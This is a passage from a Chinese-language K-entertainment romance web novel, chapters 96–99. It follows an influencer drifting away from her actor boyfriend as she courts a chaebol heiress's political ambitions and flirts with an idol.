“权至龙xi，这种照片应该没有关系吧。”那人有些错愕，除了一些很私密的局，这种都是圈内人的局没有不能拍照的规定。 “阿西，你给我删掉。”他暴躁地抓了抓头发，用不容商量地语气说道。 看着那人把照片删掉了，就连最近删除都没有错过，才转身离开。 下一轮游戏开始 “6号公主抱12号做3个深蹲。” 李株赫翻开自己的牌面，又是6号，定睛一看，12号是一个小公司的女爱豆。 撇了一眼女友，她支起下巴，笑意盈盈看热闹的样子，丝毫没有阻止的意思。他心又沉了下来，胸口堵塞难受的厉害，举起双手示意不做指令。 惩罚特调的酒很快放到李株赫的手边，浅黄色的酒液是两个柠檬榨成的汁，和60多度的威士忌混合而成。 “欧巴，这个太难喝了，要不还是做指令吧。没关系的，我不介意。” 宋玉妍的狐狸眼还是一样的弯度，她说不介意就是真的不介意。就好像要和别的女人亲密接触的，并不是她的男友一般。 他垂着眼眸，每一根睫毛都像是浸满不为人知心酸。原本因为那个甜蜜的吻带来的好心情，被一扫而空，拿起那一杯酒，“没关系。” 因为用力，被袖口掐住的手腕有一道鲜明的青筋暴起。 女友看向他的眼睛里有担心、有忧虑，却还是没有爱意。 酸涩的酒液用巨大 的刺激提醒着李株赫，这段感情起始于一次赤裸裸的交易。 不知道自家男友百转千结的宋玉妍就觉得有些累了，一部分是觉得无趣。对现在的她来说，这样无聊的交际，还不如在家剪几条视频，修几组照片来的快乐。 后面的国王游戏和她就没有关系了。 所以她慵懒地枕着李洙赫的左肩，下巴处的软肉时不时地蹭着他的脖颈，百无聊赖地把玩着他宽大又骨节分明的手指。 看着她不知不觉地睡了过去，脱妆的气垫遮不住的眼下青黑，李株赫她心情复杂，又有些心疼。 为什么她能有轻而易举操控他情绪的能力？是从什么时候开始的？也许第一次相遇的时候，他就应该把耳机戴上，就不会有后来的搭讪。 那样他也不就不会，对这个连他作品都没有看过，却还能厚着脸皮过来搭讪的女人，起了微妙的兴趣。 李株赫还是把人轻轻放在沙发上，走到权至龙身边。“你今天不是搭了个新披肩吗？借我用一下。” 权至龙有些无语，“人家品牌送给我的，我就用了这么一次，这样不好。” 李株赫沉默了，偏偏他今天只穿了一件黑衬衫，只能恳求地看着自家亲故。 “大不了下次我和你逛街的时候，帮你再买一条。” “买就算了。”他把折好的披肩从角落里拿出，“你选的时间短一点，不要犯半天选择困难症，然后不买，我就谢天谢地。” 拿到披肩的人直接转身，就被权至龙叫住。 “没想到这么多年，你还是喜欢年上这种。” “你记错了吧，宋玉妍比我小六岁。”李株赫有些不满，明明刚进来的时候他郑重其事地介绍过自家女友。 “啊？我不是说年龄，怒那是一种感觉，你懂吗？” 被人和玩狗一样地玩就算了，还偏偏乐在其中。权至龙劝过两次也不愿意劝了，掺和朋友的感情生活，很容易变得里外不是人。 而且……他看他这样也挺好的。 第96章 第九十六章 用披肩把她的腿盖住，李株赫直接把人打横抱了起来，开了一个空的包间，把人放在沙发上。 躺着的宋玉妍脸颊肉顺着重力垂了下来，像是剥好壳细腻白嫩的荔枝。 李株赫屈起手指在她脸上点了一点，又没忍住多捏了两下。看到她上翘到眼尾的睫毛动了两下，才把手放下。 他就坐在对面暗处的沙发上，看着宋玉妍经受昏晦的浸染。黑色越浓，她就越加耀眼，仿佛是这里的唯一的光源一样。 手指抚上领口，第一粒贝扣仿佛还残留之前的温度。室内的空气好想越来越稀薄，每吸入一口都是满满的燥热、窒息。 他把最上方的扣子解开了。 这里睡不踏实，没一会宋玉妍幽幽转醒，胸口、锁骨上方、耳后都布着一层细细的黏汗。 “这是在哪里？”她透过平和而静谧的黑暗，看向室内那剪有些模糊不清的人影。 “你醒了？”李株赫把屋内的灯光打开，暖色的灯光凝聚在她的上方。 她的手指划过锁骨，指尖都是汗，呼吸变得又深又长像是想要极力捕捉那一丝氧气。 “为什么会这么热？” 宋玉妍坐起把头发全部撩起，用掌心固定在脑后，尽量不让它们黏在背上。然后站了起来，步伐有些不稳地走到整个室内的控制面板处，摁下空调、通风触键。 顶上的风机轻轻响起，符合某种固定的节拍。 “这么久都不开空调，都不嫌闷热吗？”无奈的语调让咬字往下压，带着一股慵懒散漫的意味。 李株赫讪讪地用手指内侧揉了揉鼻头，他忘记了，递过去一张纸巾。 “你先擦擦吧。” 汗水很快把干燥的纸巾濡湿了，想到今天晚上来的主要目的。宋玉妍把纸巾的方向从额间转到自己下巴，然后自然地开口：“欧巴，我想要你和我拍一期情侣vlog可以吗？” 她说完握着纸巾，挽起李株赫的手臂，小幅度地摇了摇。 反正恋情公开对演员的影响微乎其微，而且她这么久也积累了一部分粉丝，ins粉丝总数也快到了120w。 所以不算完全是蹭热度的行为。而是宋玉妍看着情侣之间的vlog这个系列没有多少人做，她可以率先开辟这个赛道，做第一个吃螃蟹的人。 她笃定男友不会拒绝，虽然他很少主动，但对于她的要求都是尽力满足。靠在墙上的腰微微弓起，这样的姿势虽然不够美观，但是足够放松。 听到这个请求，李株赫重重地闭上了眼睛，后槽牙也跟着面部肌肉而动。 他……应该下个月就要入伍，家里人给他运作成了可以朝九晚五的公益兵。所以最近他最好是要少出现在公众面前，以免引起大众的关注，激起不满。 南韩艺人的兵役话题，一直都在最敏感的那条线上。 “玉妍呐，一起拍视频可能不行，公司那边对于这样的宣传把控的很严。”他现在也找不到更好的拒绝理由，也只能先扯出yg这个幌子。 听到这个理由，宋玉妍整个人呈现出一种收拢的姿态，铆钉高跟鞋上，脚脖那一圈的装饰相互碰到。她的双手抱到胸前，脸上的笑容一瞬间就掉了下来，角落里的昏暗是她冷漠最好的保护色。 yg会控制外宣，这样的借口是真的拙劣又好笑。作为一个爱豆公司连艺人恋爱都不管，还会有精力分到演员身上？ “这样啊？那还是算了吧。”重新运作起来空调吹出了冷风，吹干了她身上的黏腻。 宋玉妍把一直举着的头发放了下来，有几缕跳到了前肩，又被她撩到背部汇合。 送她回去时，李株赫明显感觉到她的情绪不高，隐隐约约知道是因为拒绝的原因，但他又不能这个时侯开口说马上要去服兵役了。 他怕把本就不算好的氛围，推向更加消极的深渊。 再一次看着她的背影从前视镜里消失，和之前一样黑色的裙子和周围融为一体，耀眼的只有她裸露出来的肌肤。 他有些无力地盯着，两人之间恋爱模式扭曲到有些畸形了。但又维持在一个微妙的平衡间，不知道该如何去改变，也不想打破这种平衡。 发动机启动后，李株赫把车速开到限速范围里的最快，想让呼呼的夜风帮他清醒下来。 后面的日子好像和之前没有什么两样，宋玉妍主动给李株赫发消息，他也偶尔回复一两句。 看到这样的恋爱状态，她心底的不耐加重了。如果计划顺利，那么现在的这个男友关系，也没有继续下次的必要了。 李株赫要准备入伍的事宜，也开始忙了起来。所有的商务合作都要收尾、杂志要拍摄、还要举办粉丝见面会。 宋玉妍看着两人的对话框，基本上都是她对对方的问候。 网红这个职业也没有她想象中的轻松，每天除了拍摄就是脚本，就连锻炼时间都被她挪到了半夜。粉丝数破了百万之后，后面每一百万的增长都更加艰巨。 所以，没有加成反而要消耗情绪经历的恋爱，对现在的她来说是一种负担了。 和崔宝祯出去的几次，都把人哄得心花怒放，甚至对方还用私密的ins账户给她的帖子点赞。 “你今天怎么把我邀请来华克山庄了？”宋玉妍打量着这里的装潢，上个世纪的审美到现在也不落俗，就是设备有些老化。 “请你来这里吃饭我能签单，干嘛给崔会长省钱？”崔宝祯面对她时会放松下来。 其中是有宋玉妍会说话讨巧的缘故，但更重要的是她的社会阶层更高，说话做事完全不用去考虑对方的感受。 这个话题有些太敏感了，宋玉妍没有接话。拿起桌几上的果盘，把里面的车厘子全都挑出来，一个个往嘴里塞。 这样反季节的昂贵水果，在南韩普通的商超几乎绝迹。 她算是看懂这个大 小姐的性格，喜欢直率、不耍心眼的，同时又要聪明的。对于这样蹭吃的行为，她不会放在心上。 “你来我这里吃自助了？”崔宝祯笑骂了一句，起身穿着睡裙就拉开了窗帘。 她对这个玩伴很满意，既不会扯她狐假虎威，也不会去媒体那里多嘴。还像一朵解语花一样，每次她情绪不好的时候，宋玉妍总能安慰到她心坎上。 “你可以让客房部多送一点来，酒店都是你家的，多要一点昂贵水果怎么了？” 看着她是真的喜欢吃，崔宝祯拎起电话如她所愿。 “对了，你是更喜欢冰过的吧。” 宋玉妍点点头。 聊着聊着两人话题换到了李株赫身上，对于他的名字崔宝祯都没有听过。应该只是富豪阶层的孩子，离财阀还有一段的距离。 “你和你男友最近怎么样了？” 开门拿到车厘子的宋玉妍，把餐盘放到两人中间。 “别提了，就和个棒槌一样，我拨一下他动一下。聊天也不主动，见面也不主动，最近除了送我两个爱马仕，也没有什么能拿得出手的。” 看到她嫌弃的表情，崔宝祯被她逗笑了，一扫最近低落的心情。 “两个包就给你收买了？凭你的姿色，随便和人吃两顿饭，这包都能要回来。” 宋玉妍知道她没有恶意，只是带着一股傲慢的直白。她笑了笑，“可他是送我包里最帅气的一个男人诶。” 听到这话，崔宝祯觉得也是。财阀家的三代四代最高颜值，也就是普通人里中等偏上的程度。 她把人带到自己的衣帽间，套房里30平米的衣帽间被放的满满当当。拉着她来到放包的柜子前，香奈儿包都只配在柜子里互相拥挤着。 在璀璨的灯光折射下，每一个包上面的金属都闪闪发亮。宋玉妍瞟了一眼旁边用盒子码着的手表，心跳的很快。 没有人能够拒绝这样一个衣帽间，它是每一个人女人的梦想。 像是看出她的心中所喜，崔宝祯毫不犹豫地打开旁边的柜门。抽出那支六千万韩元，还要预定的劳力士，心细地扣在宋玉妍的素腕上。 “樱花色的表盘和你的皮肤很搭。”咔哒一声，金属蚝式表带在她手上平平整整。 “无功不受禄。”宋玉妍话虽这样说，但是丝毫没有把手表取下来的意思。 “在我见过的普通人里，你是最聪明的一个。从济州岛的一个渔女到现在的百万粉丝的网红，也算是跨越阶层了。”崔宝祯的语气里带着诱哄。 “包括你交往现在的这个男友也是，比起帅气的外表，你应该更喜欢他身上的时尚资源。可是……” 她的未尽之语，宋玉妍能懂，李株赫现在能事业上给她提供的助力微乎其微。 对上崔宝祯的杏眼，对方眼睛里蕴含的欣赏做不得假。 “你难道就不想看看财阀的世界吗？” 如果她是一个刚出茅庐，被爆红砸到财富自由、砸得飘飘然的小网红。那宋玉妍现在，一定一定会对这样的一番话心动。 “人是不能获取到认知以外的财富的。”宋玉妍轻柔地把手上的表取了下来，咯哒一声放在透明的手表柜上。 “交往都是要讲利益的，我自认为对你没有什么用处。” 她话音才落下，崔宝祯立马接上：“谁说没有用处，我找人分析了你的YouTube视频，是南韩近一年内日常向的播放量第一。” 所以呢？宋玉妍的视频分为两类，美妆教程类的基本上都是广子，但日常系列不会。 做过爱豆的她深知固粉的重要性，日常类的视频基本上20多分钟一条，很适合粉丝追更用来下饭。 像是看清楚她的疑惑，崔宝祯好心地给她解答。 “你可以看作，我在为竞选议员做准备。” 第97章 第九十七章 “竞选议员吗？”宋玉妍喃喃的重复一遍，心跳因为不可置信而急剧加快。从胸腔到嗓子眼，全是咚、咚、咚，擂鼓般的声音。 “怎么会想着去竞选议员了？”她按耐住因为被馅饼砸中的狂喜之情，强行逼迫自己清醒下来。手臂不着痕迹地背到身后，之间用力地掐着内侧柔软的皮肤。 虽然韩国年满19就能竞选国会议员，但……财阀家的女儿怎么会冒出这样的想法？ “整个南韩都在看我家的笑话，你也不是外人，我直说了。崔会长和那位是真的让人恶心，时不时出来刷一下存在感。” 崔宝祯想到他亲爹给她亲妈，年年雷打不动地寄华克山庄的账单，就觉得被羞辱了。 “况且我也想继承外公的政治资产。” 原来是这样，宋玉妍舒了一口气。看来崔宝祯是经过深思熟虑的。至于为什么选择她，大概是为了拉现在只关注流媒年轻人的选票。 以及传统的三大电视台里除了kbs，其他都是由财阀掌控。偏偏综艺娱乐方面又是国家台的弱项。 “不过，你不会想的是，竞选上国会议员之后，第一个提案就调查sk集团，弹劾崔会长吧。”想到对方和她家里紧张的关系，宋玉妍随口开了句玩笑。 看这个崔宝祯默认的神色，她闭嘴了、不说话了。 真的蛮好孝的。 “我知道了，我可以出一个合集，合集名称就叫与财阀闺蜜同行。”宋玉妍脑海里闪过，之前就策划考虑过的方案。 看到她这样上道也不多问，崔宝祯忍不住在心底点头，清丽的脸蛋看起来更加温柔。 “你到时候把脚本发给我就好。” 听到她这样信任，宋玉妍默然。虽然只是各取所需，但也夹杂着几分真情实意的互相欣赏。 “你的演技好吗？” 听到她这样问，崔宝祯愕然：？ “虽然是vlog，对标的确是真人秀。到时候给你打造的人设要是一个亲民的、接地气的形象。毕竟你要是真的竞选议员的话，既打不过那群民主斗士，又干不过人权律师。” 宋玉妍从包里掏出一本《命运》，指着上面的人像继续说：“但你的方向是对的，不管是出书、利用纸媒造势，还是参加综艺。异途同归，都是为了扩大影响力，让民众认识。” “所以，崔宝祯xi，去报个演技班吧，用的到的。” 韩国的青龙影帝、大钟影帝不应该在忠武路，而应该在政坛里。 崔宝祯接过她递过来的名片，发蒙了一瞬间。然后又看着宋玉妍用手机给她展示——关于如何打造亲民人设的梗概。 虽然说机会留给有准备的人，但她这准备的也太充分了吧。这一连串动作看得人眼花缭乱。 “如果我开始选举，一定让你担任选举对策本部长。” 宋玉妍笑了笑，原本只是准备说服对方出演她的vlog而准备的，没想到居然歪打正着。“我对政治可没有兴趣。” 把pdf文件发给崔宝祯之后，她也就准备告辞了。 没想到手里被塞入一块微凉，她条件反射般地握住。垂下眼眸，定睛一看，是一块老款的劳力士满天星，碎钻和银色的表盘折射出世宗大王的璀璨光芒。 “包的话，上次送过你一个了，柜子里的这些差强人意。我不喜欢爱马仕他们家的稀有皮，没怎么入手，这个手表你戴着玩好了。” 虽然崔会长不给抚养费和零花钱，但是家族信托在这里，崔宝祯的财富让她足够大方。 宋玉妍把手表塞到粉包里，“谢谢啊。” 她离开了华克山庄之后，在官网搜了一下这块表的价格，结果没有搜到，绝版了。光看外形就知道，价格比前面那个樱花粉的表盘贵了一倍不止。 果然你在对方眼底的价值，可以通过反馈得知。 这段时间宋玉妍对李株赫的心思也淡了下来，工作都忙到脚不沾地 ，哪有心思去管情情爱爱。 她接到了一个推广站台的活动。虽然请她的只是一个小品牌holove，这样的资源已经是一些小公司爱豆渴望而不可及的。 参加这个活动之前，她问过品牌方介不介意多带一个朋友过来帮忙站台。对接的商务表示没关系之后，宋玉妍摇来了崔顺喜。 清潭洞造型室 崔顺喜：“我还以为你发达之后，就把我抛到脑后了，没想到居然还记起我来。” 这个圈子捧高踩低是常态，谁红和谁玩也是常态。没想到宋玉妍居然还能记得，当初两人糊作一团的戏言。 “我累得每天睡觉时间只有四个小时，你居然还在抱怨不和你联系？” 这不是因为对方没有交往下去的意愿了嘛，崔顺喜讪讪地摸了摸鼻头。 这家店的化妆师显然很会做人，没有店大欺客，一边听两人的造型要求，一边把两人从头到脚都夸了一遍。 宋玉妍正在沟通具体妆容风格，她今天穿着吊带红色格子短裙，比之前偏爱的妩媚性感穿搭要俏皮不少。 忙碌地切换翻墙软件从种花那边找例图，桌上就出现了一个骨节分明的手。放开之后，桌上是一颗薄荷糖。 “你等会也要去holovo的活动，吃一颗糖润润嗓子。” 他看到过品牌方发过来的活动流程，知道宋玉妍也要来时，一阵狂喜。 听到陌生男人的声音，宋玉妍抬起头来，发现是在权至龙的局里有过两面之缘的姜升润。狐狸眼饶有趣味地浅眯起来，那颗糖她没有收下。 “我从不吃便宜的糖果。”她看了一眼自己的包示意他让开，要拿东西了。 “我没有其他的意思，只是想着我们两个是同年，可以更好地亲近起来。”姜升润窘迫地耳尖都红了。 “这样啊。”宋玉聊胜于无地点了点头，表示自己知道了。 冷淡的态度让男人退缩了。从便利店买来的糖果被他不自觉地藏在手心，手指蜷缩着极力想要把它遮住。 等人想要离开的时候，她用温热的肌肤触碰姜升润的手背，然后以不容置疑的姿态，轻柔地穿到他的手心。 薄荷色的包装现在到了宋玉妍的手上。 “这次就算了，你的好意我收下了。” 不知道是因为她之前用冷淡划出的界限让他有些退却，交换联系方式的请求始终都开不了口。 宋玉妍用接近白皙接近透明的指尖指了指旁边的凳子，示意他坐下。 “你们yg对于恋情方面的公关做的很差劲诶。” 提到这个姜升润的神色黯然了下来，嘴角的笑容染上了苦涩。 何止是恋情方面，其他公关也是一塌糊涂。winner刚出道时还是有些水花，通过公司有意无意的防爆、饥饿式营销，前两年过得是真的有些辛苦。 “是这样的。”业内都有所了解，那他也没有必要为公司挽尊。 “那对你们恋爱方面管得严吗？” “yg在这方面开明地简直不像是一个爱豆公司。” 听到这样的回答，宋玉妍点了点头，示意他可以离开了。 那就说明李株赫在说谎，不想拍相关的vlog他可以直接拒绝，不用拿其他的“善意”的借口来欺骗。 看来她给的好脸色还是太多了，宋玉妍点开手机屏幕，打开两人之间的聊天框。 「欧巴，有时间就出来吃顿饭吧！就你上次说的那家参鸡汤店。」 对面的人应该是一直拿着手机，几乎是秒回。「好。」 把手机搁置下，宋玉妍等着妆容的最后效果，大面积团状的腮红压在眼下，像是流光溢彩的粉色晚霞停留在她的脸上。 明亮娇媚的颜色减弱了眉眼自带的攻击性，加上高马尾，看起来活力又俏皮。 妆造完成后，她和崔顺喜拍了合照上传到ins上。 李株赫看到后，立刻用小号点了个赞。他很少评论，小号的私密账户虽然可以阻挡一部分窥探他私下交际的朋友圈。但这样的评论很容易被人发现，万一有人想不开从800多条评论里大海捞针？ 所以在评论发出去的一瞬间，他又删除了。反而切换到两人的聊天框，「很漂亮，是有活动吗？」 这次他的主动，没有得到相应的回应。 宋玉妍带着自家“闺蜜”在品牌的线下快闪店，给到来的顾客派发小样。 当有人询问她嘴巴上涂的颜色时，她指了指离她最近的那支。 “是白桃乌龙奶茶哦。”蝴蝶结系列的展览柜少女心十足，在人形安利器的作用下，没过一会就被一扫而空。 趁着售货员补商品的空隙，她回到休息室补个唇釉、喝口水。 看到她离开的姜升润连忙放下手上的洗面奶，对粉丝抱歉地笑了笑，跟了上去。 休息室里宋玉妍把和男友的对话框删除了，就当做没有看到他的消息。 姜升润看着她被唇釉凸显得更加娇嫩欲滴的上翘的嘴唇，忽然觉得这样清淡的颜色也很适合浓颜的她。轻蹙着的黛眉让人想要把它抚平。 其实宋玉妍上次和宋闵昊拍合照的时候，他就注意到了。只是当时想要她联系方式的人太多了，挤不进去。第二次见面李株赫圈地一样的姿态，更是让人没有办法肖想。 “宋玉妍xi，可以交换一下联系方式吗？” 宋玉妍放下手机看着他，似笑非笑道：“你知道李株赫是我的男友吧？” 姜升润刚想张嘴回答，就被她用食指内侧细腻柔嫩的肌肤，印上了下巴和人中这条直线上。 他的嘴唇稍微动一动，就能摩擦到她纤细的骨节上。所以……只能抿着唇，往后撤了一步。 成年人之间的想法，有的时候不需要语言。只交换一个眼神，宋玉妍就知道他对两人之间的情侣关系心知肚明 第98章 第九十八章 “我知道了。”送上门的热度那有拒绝的道理。 想到今年winner因为《reallyreally》音源大爆而逆袭，姜升润作为主唱队长再一次进入大众视野。宋玉妍就觉得，之前的拍摄脚本没有白写，总会排上用场的。 忽然就觉得他很适合和她要求拍摄情侣风的写真，yg家的男爱豆加上团队今年的大势，话题度拉满。 细腻的指尖下滑，轻点在心口处，那是他衬衫第二粒扣子往下缝隙。手指微微用力，像是小蛇一样从一处缝隙处穿到另一处缝隙处。接触到一点点温热的肌肤下，是如皮革鼓一样猛烈的跳动。 姜升润顺着她微弱的力道俯下身靠近，宋玉妍的面容被看得更加真切了。 洁白细腻的肌肤像是绵柔的云，腮上、鼻尖的粉像是漂泊瑰丽的霞色。胸上的触感停留的纤细而柔滑，她的气息像是傍晚夏日的湖水，飘溢着一股冷艳又潮湿的味道。 他的头脑烧得发热，既渴望更多的接触又听不起对方从菱唇里吐出的字句。 只能跟着她的指令，机械性地打开手机，具体操作了什么他也记不清了。 “亲故呀，要记得好好锻炼身体哦，你们团里不是有一个名品身材的吗？你要向他学习。”宋玉妍说完，飘然而去。 看着她离去的背影，散落下来的马尾犹如一小捆海草，跳到了柔和耀眼的夕阳光上。耳后的圆润夹上了两个小型的红丝绒蝴蝶结，那样艳丽的颜色很适合她。 另一边的李株赫迟迟收不到宋玉妍的消息，有些恐慌，这样被她忽视的情况还是第一次。之前不管是什么样的话题，最后结束话题的肯定是她，句句有回应。 他打开ins小号，发现她的新加关注多了一个。是看起来毫无交集，和他同公司男团winner的队长。 也许是两人之间有合作，做网红做到了宋玉妍这样头部的地位，和艺人之间的壁垒并没有那样泾渭分明。也许只是合作需要！ 越是这样安慰自己，李株赫心中那个名为恐慌的黑洞就不断扩大，恹恹地点开了两人的对话框。 最后一句，依旧停留在他的夸赞上。他小号发了个帖子，这次她也一直没有点赞，好似没看到一般。 活动结束的第二天，宋玉妍就收到了来自品牌方的尾款，对于对方的工作效率很是满意。 说了很多诸如合作愉快、希望日后多多合作之类的客套话。她顺手把四分之一的收入转给了 崔顺喜。 「我以为会是打白工？！」崔顺喜很是惊喜，昨天的快拍发上去之后有一部分宋玉妍的粉丝关注了她。看着翻了一倍的粉丝数她就很满足了，没想到还会有报酬这种意外之喜。 「你要好好规划账号了，就算我能帮你引流，那也只是一时的。」 宋玉妍才不会圣母到一直扶贫，这一次算是感谢她对原主的帮助。 崔顺喜也知道两人之间的差距逐渐拉开了，很多时候她都不敢主动联系闺蜜了。 隔了好一会，她才回复道：「要是你创立一个经纪公司就好了，以你的聪明肯定能把旗下的网红运作的很好的。」 明明宋玉妍是她带入行的，结果对方不到一年就成为了百万网红，而她还在各种局蹭来蹭去。 她的异想天开，宋玉妍既不买单也不回复 到了定好的这家参鸡汤店，宋玉妍找到招牌后，进门，第一眼就是店主和各种艺人的合影映入眼帘。 其中最中心的就是和《runningman》的合照，艺人经常出没加上不错的味道，难怪需要预定。 店不算很大，收拾的很整洁，明亮温暖的灯光看起来很有家庭的氛围感。空气里是鸡肉油脂和药草混合一起的清香，她瞟一眼路过的餐桌上，奶白色的汤看得人食指大动。 李株赫就算五官被黑色的渔夫帽、口罩遮挡的严严实实，也有一眼抓住人眼球的本领，可能就是所谓的星味。 宋玉妍走到角落里的餐桌边，落座，崔宝祯新送来的樱花粉鳄鱼皮的奢包被她放旁边。桌上只有几碟泡菜，他帮忙到了一杯大麦茶。 “谢谢。”她疏离又客气的语气让李株赫很不适。 他感觉两人之间，那股微妙的平衡感被打破了。 “不用。”他把视线放在旁边那支kelly稀有皮上，这样的包加上配货至少也要两亿韩元。这……不符合宋玉妍的消费能力，又想到了她新关注了姜升润，李株赫终于按耐不住心底的焦躁。 “你的ins怎么新关注了winner的队长？是后续会有合作吗？” 低沉磁性的声音一如既往地像是想要融到耳神经的深处，撩起一阵酥麻。 只是再好听的音色，宋玉妍已经有些听腻了，更何况她已经在心底下了决心。 当付出与收获不成正比的时侯，那她将会吝惜于付出自己的情绪。对于她来说，讨好崔宝祯，朝她输出自己的情绪价值才是性价比最高的选择。 他在装饰下只露出眉眼，刀锋一般的眉毛此刻却萦绕着一股莫名的愁绪，原本清亮而圆的眼眸此刻被蒙上了一层雾气。 没有立刻回答对方的问题。宋玉妍反而开始挑剔地看着眼前的男人。 恋爱之中无法提供情绪价值，被动无聊的恋爱让她消耗了太多的精力。就连原本喜欢的浓颜，此刻她也觉得不够耐看了起来。 她屈起手肘，放在胸前，原本因为腰部鱼骨的支撑导致雪色从领口溢出来了，微微摇晃自带风情。但是吐出来语句中的锐利和外表的万种风情截然不同，眉眼间满是恶劣。 “欧巴，我以为我们之间早就心照不宣，对于事业上的问题，向来都是互不打扰。就像你也不会完全告知我你的行程、以后的规划不是吗？” 宋玉妍正打算，把她觉得两人之间不合适的说出来。 对方对她已经没有价值了，就算网红再优秀也拿不到最顶尖的时尚资源。所以，李株赫引以为傲的时尚人脉对于现在的她来说形同鸡肋。 就算宋玉妍的语气和之前别无二致，李株赫也有些慌乱，脸上的神色不自然起来。勾着口罩细绳准备把它取下来的手指，不住地往外撤，不断拉长，有弹性的绳子终于绷不住被崩断了。 脸上留下了微红的印子，但他顾不上这么多，主动打断了宋玉妍接下来的话。凭借着直觉，李株赫觉得不能让她继续说下去了。 恰好服务员过来，她看到有外人把嘴先闭上。 他主动接过服务生端上来的雪平锅，白嫩的整只鸡漂浮在汤里，被一股热气的衬托显得更加诱人。又慌忙地打开桌角的电磁开关，把锅对准黑色的底座。雾气氤氲了他的睫毛，模糊了脸上的轮廓线。又给宋玉妍舀上一碗汤，鸡肉、糯米、加上参须，混合的香气一直停留在人的鼻尖上。 “先吃饭吧。”被摘下了帽子不知道塞去了哪一个角落，垂下来的鬓边碎发，为李株赫增添了一份脆弱易碎的忧郁感。 这段时间生活不规律，三餐不定。宋玉妍今天忙到没有进食的胃分泌出来的酸，满是对面前这碗汤的渴望。 她垂着眼眸，吹了吹，小口小口地啜饮这碗汤暖胃。 反正今天迟早都会说的，没有必要急于一时，影响食欲。 她喝完，李株赫再给她添，两人之间的氛围一时间好转。他长舒了一口气，想着宋玉妍之前说的话，把两人之间都不够坦诚的事实摊开在明面上。 犹豫片刻，他还是选择开口：“宋玉妍xi，你知道我今年已经29岁了吧。” 看着他的面容，宋玉妍只觉得他是不是在点她，最近过生日？她没有送礼物？她盯着碗里的一粒糯米，像是要盯出一朵花了。 “内？” 餐厅不是一个好说话的地方，李株赫把到嘴边的词语用喉结滚咽了下去。 “等会一起去看电影吗？”虽然快要入伍了，一点外出的轨迹都有可能来网友的审判，但他还是决定剑走偏锋一次。 宋玉妍似笑非笑地看了他一眼，撩起眼皮，闪过一丝意味不明的光芒。如果没有想错的话，他前女友的电影应该是在上映了？ 她好像找到了借口，就算要分手，她也要把过错甩到对方的身上。 “你确定吗” 喝完最后一口暖融融的滋补汤，宋玉妍补了个唇釉就跟着他去了最近的一家影院。 他想着电影院更方便和她坦诚。密闭的空间、亲密的接触会让两人之间的距离更近。 旁边的李株赫没有了口罩，把帽子的檐角拉的更低，看着像是更狼狈了。 他第一次主动，主动去拉女友的手，前两次都被她不着痕迹地甩开。看着他锲而不舍的样子，也就随他去的，刚好干燥宽大的掌心把她微凉的手指捂得热乎乎的。 买好爆米花和咖啡的宋玉妍，无所事事地坐在大厅的沙发上玩手机。 “给我来两张没什么人看的电影票。”因为不想宋玉妍多等，李株赫并没有一个个去看每一个电影的主演和导演。 售票员听到他这奇怪的要求，诧异地看了他一眼，随后手快地打了两张没有任何人看的电影。 手好电影票的李株赫走到女友身边，把电影票塞给她，自觉地帮她背起包，接过咖啡和爆米花抱在怀里。 手指划到电影票名称上的那一栏——印着《独自在夜晚的海边》，宋玉妍挑了挑眉。 第99章 第九十九章 冗长、柔和的背景音听得人昏昏欲睡，整个放映场除了他们两人坐在最后一排的情侣沙发上，其他位置空无一人。 一时间除了拿爆米花的窸窣声，再没有其他的声音。 李株赫在嘴边把话斟酌了很多次，才终于说出了口。 “宋玉妍xi，我下一个月就要去服兵役了。之前拒绝你的要求，只是因为最近不方便在公众面前露面。” “莫？”指尖还沾着糖浆的女人歪着头看他，挺直的鼻背侧露出好看的弧度。 服兵役？虽然南韩网民对于这个词十分敏感，但宋玉妍终归于是种花灵魂。况且她的前任们，基本上相遇的时侯都过了兵役的年纪，没有想立刻联想到这一方面很正常。 只是他服兵役和她又有什么关系呢？这样只会让宋玉妍坚定要甩掉他的决心，没有办法帮忙一起拍摄的男友，对她来说就是累赘。 一个吸食她的精力、情绪的累赘。 听到他的解释，宋玉妍没有 反应，也没有多说什么，只是撕开湿巾的包装，擦了擦手指。 看起来丝毫未减的爆米花桶，她是不打算继续再碰了，吃的有点腻。 当金珉喜柔美又纯欲的脸出现在屏幕里时，身边的男人惊讶到深吸一口气、瞪大眼睛了双眼。 他意识到挑选的这部影片是如此的不合时宜，刚想要开口解释自己没有注意主演。 装作认真看剧的宋玉妍，始终并没有给他这个机会。 她盯着大屏幕的目光里是热烈和专注，仿佛只是想好好欣赏这部，可以拿下柏林银熊奖的影片。 幕布反射过来的光并不是均匀的，一会亮一会暗，如同李株赫此刻内心晦暗的心情。 等屏幕里的永熙终于和那位有妇之夫结束婚外情之后，来到汉堡时，宋玉妍也开口了。冷漠的语调不同于以往的故作甜蜜的尾音上翘，而是没有丝毫的起伏。 “欧巴还真是别有兴致，居然带着现女友来看前女友和有妇之夫的自传体电影。” 李株赫连忙重新握住她的素腕，他害怕宋玉妍不听他的解释，一走了之。 被用力压倒扶手上的手有些血液不流通，她挣脱了好几下都没有挣脱开来，只能把手指尽力舒展。 “我当时没有看主演，一心只想着不要让你等了。”他还想好好地和人谈一谈，关于两人以后的感情应该怎么样维持下去。 虽然公益兵和其他的兵种比起来轻松不少，但对她来说，服兵役会被耽误的是她的青春、时间。 既然会因为和他恋爱蒙受损失，李株赫就想在物质方面补偿。想到宋玉妍最近的穿搭和ins那些昂贵的珠宝，他又开不了这个口。 和之前不一样了，在物质生活方面，她似乎有了更好的选择。 “欧巴，你知道吗？我真的太累了。”宋玉妍泫然欲滴，素白的脸上一点微红都很是明显。原本上挑的眼尾也随着主人心情而垂落下来，强咬着的嘴唇露出明显的齿痕。 “不管是什么都是我在主动，这段感情是我主动来的、主动加你联系方式、主动找你聊天……但是我也是会累的，我根本感受不到你对我的爱意，” 李株赫张口，很想和她说不是这样的。 他不是对每一个女伴都这样大方，心甘情愿地为人家花钱。 也不是每一个人都能让他这样上心，心甘情愿地奉上人脉、资源。 就连慢热都是性格使然，因为长相的优势他习惯了在感情里被动。 更何况，他和宋玉妍一开始交往，就建立在情感不平等上。他终于放开了她的手，抱住她纤细秀美的肩膀。 “难道在你心里，我就是一个对于感情很随便的人吗？就算不喜欢你，也可以随意答应在一起？” 这样的质问让宋玉妍面上呼吸一窒，不是！他什么时侯进修过语言表达的艺术？ 反应过来后，她头垂得更低了，散落的头发就像是汪洋里的海藻。肉感的嘴唇强忍着苦涩般地撇了撇，像是压在心头沉重的情绪波涛终于碎了。 她转过脸去，又大又圆的泪珠砸在他的手臂上、颈窝上，顺着轨迹不断地灼烫着他的皮肤。 